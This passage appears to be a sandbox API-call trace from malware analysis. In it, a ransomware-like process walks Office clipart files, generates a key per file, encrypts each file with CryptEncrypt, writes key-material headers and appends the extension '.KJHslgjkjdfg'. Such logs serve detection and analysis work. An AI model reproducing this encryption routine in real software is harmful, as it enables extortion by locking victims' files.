hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x82a0, dwBufLen=0x82a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x82a0) returned 1 [0190.400] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.400] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x82a0, lpOverlapped=0x0) returned 1 [0190.401] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.401] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.401] SetEndOfFile (hFile=0x130) returned 1 [0190.402] GetProcessHeap () returned 0x990000 [0190.402] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.402] GetProcessHeap () returned 0x990000 [0190.403] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.403] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.kjhslgjkjdfg")) returned 1 [0190.405] CloseHandle (hObject=0x130) returned 1 [0190.406] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x375e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0086478.WMF", cAlternateFileName="")) returned 1 [0190.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.406] GetProcessHeap () returned 0x990000 [0190.406] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.406] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.406] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.406] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0190.409] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.409] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.409] GetProcessHeap () returned 0x990000 [0190.409] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.409] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.409] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.409] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.409] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.409] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.409] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.409] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.409] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.409] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.410] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.410] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.410] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x375e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x375e, lpOverlapped=0x0) returned 1 [0190.411] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3760, dwBufLen=0x3760 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3760) returned 1 [0190.411] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.411] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3760, lpOverlapped=0x0) returned 1 [0190.411] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.411] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.411] SetEndOfFile (hFile=0x130) returned 1 [0190.414] GetProcessHeap () returned 0x990000 [0190.414] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.414] GetProcessHeap () returned 0x990000 [0190.414] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.414] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.kjhslgjkjdfg")) returned 1 [0190.415] CloseHandle (hObject=0x130) returned 1 [0190.415] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4dba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0089945.WMF", cAlternateFileName="")) returned 1 [0190.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.416] GetProcessHeap () returned 0x990000 [0190.416] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.417] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.417] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.417] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0190.419] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.419] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.419] GetProcessHeap () returned 0x990000 [0190.419] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.419] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.419] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.419] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.419] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.419] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.419] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.419] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.420] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.420] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.420] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.420] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.420] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4dba, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4dba, lpOverlapped=0x0) returned 1 [0190.421] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4dc0, dwBufLen=0x4dc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4dc0) returned 1 [0190.421] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.421] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4dc0, lpOverlapped=0x0) returned 1 [0190.421] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.421] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.421] SetEndOfFile (hFile=0x130) returned 1 [0190.423] GetProcessHeap () returned 0x990000 [0190.423] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.423] GetProcessHeap () returned 0x990000 [0190.423] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.423] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.kjhslgjkjdfg")) returned 1 [0190.424] CloseHandle (hObject=0x130) returned 1 [0190.424] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0089992.WMF", cAlternateFileName="")) returned 1 [0190.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.425] GetProcessHeap () returned 0x990000 [0190.425] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.425] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.425] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.425] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.425] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.425] GetProcessHeap () returned 0x990000 [0190.425] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.426] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.426] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.426] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.428] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.428] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.428] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.428] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.428] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.428] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.428] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3d40, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3d40, lpOverlapped=0x0) returned 1 [0190.429] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d40, dwBufLen=0x3d40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d40) returned 1 [0190.430] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.430] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3d40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3d40, lpOverlapped=0x0) returned 1 [0190.430] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.430] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3e14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.430] SetEndOfFile (hFile=0x130) returned 1 [0190.433] GetProcessHeap () returned 0x990000 [0190.433] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.433] GetProcessHeap () returned 0x990000 [0190.433] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.433] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.kjhslgjkjdfg")) returned 1 [0190.434] CloseHandle (hObject=0x130) returned 1 [0190.434] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5314, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090027.WMF", cAlternateFileName="")) returned 1 [0190.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.435] GetProcessHeap () returned 0x990000 [0190.435] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.435] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.435] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0190.437] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.438] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.438] GetProcessHeap () returned 0x990000 [0190.438] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.438] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.438] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.438] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.438] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.438] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.438] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.438] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.438] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.438] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.438] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.438] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.439] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5314, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5314, lpOverlapped=0x0) returned 1 [0190.443] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5320, dwBufLen=0x5320 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5320) returned 1 [0190.443] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.443] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5320, lpOverlapped=0x0) returned 1 [0190.443] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.443] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x53f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.443] SetEndOfFile (hFile=0x130) returned 1 [0190.446] GetProcessHeap () returned 0x990000 [0190.446] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.446] GetProcessHeap () returned 0x990000 [0190.446] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.446] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.kjhslgjkjdfg")) returned 1 [0190.447] CloseHandle (hObject=0x130) returned 1 [0190.448] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, 